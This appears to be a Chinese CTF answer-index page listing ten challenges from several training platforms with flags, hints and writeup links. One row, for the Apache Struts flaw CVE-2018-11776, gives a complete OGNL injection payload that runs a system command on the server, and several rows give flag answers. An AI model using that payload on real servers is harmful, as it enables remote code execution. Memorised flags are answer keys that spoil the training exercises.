[标题搜索]只能搜索题目标题,[综合搜索]支持多关键词多项目搜索(以空格分隔)。
| 序号 | Website | Type | Title | Value | Writeup | Competition | Id |
|---|---|---|---|---|---|---|---|
| 1 | ctfshow | PWN入门.整数安全 | pwn102 | 输入-1即可触发gift函数获取flag | https://www.okabe.xin/?p=444 | 整数安全 | 4955 |
| 2 | NSSCTF | VM | [HXPCTF 2021]revvm | NSSCTF{XOR_1s_3asy_to_OR} | ... | HXPCTF | 13471 |
| 3 | 封神台 | WEB | 文件读取(考点:Linux绕过正则读取文件) | - | https://bbs.zkaq.cn/t/6184.html#CTF-65 | - | 14918 |
| 4 | XCTF | MISC | flag_universe | flag{Plate_err_klaus_Mail_Life} | https://blog.csdn.net/zfzdbdr1250/art... | 百越杯2018 | 8989 |
| 5 | BUUCTF | Reverse | [DASCTF Sept X 浙江工业大学秋季挑战赛]ea5ycpp | flag{zhejianggongyedaxue} | https://blog.csdn.net/weixin_46198176... | DASCTF Sept X 浙江工业大学秋季挑战赛 | 6304 |
| 6 | 春秋云境 | WEB | CVE-2018-11776 | ${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#w=#ct.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).(#w.close())}/index.action | https://www.anquanke.com/post/id/1578... | 春秋云境 | 14736 |
| 7 | bugku | MISC | cutoff | flag{d316759c281bf925d600be698a4973d5} | https://blog.csdn.net/qpeity/article/... | SaplingCTF2022 | 1582 |
| 8 | vulfocus | WEB | thinkphp3.2.x 代码执行 | - | 登录 https://vulfocus.cn 搜索thinkphp3.2.x 代码执行 | - | 16738 |
| 9 | BUUCTF | Pwn | roarctf_2019_easy_pwn | 无 | https://blog.csdn.net/mcmuyanga/artic... | - | 8582 |
| 10 | NSSCTF | PWN | [虎符CTF 2022]mva | 无 | https://blog.csdn.net/weixin_46483787... | 虎符CTF | 13260 |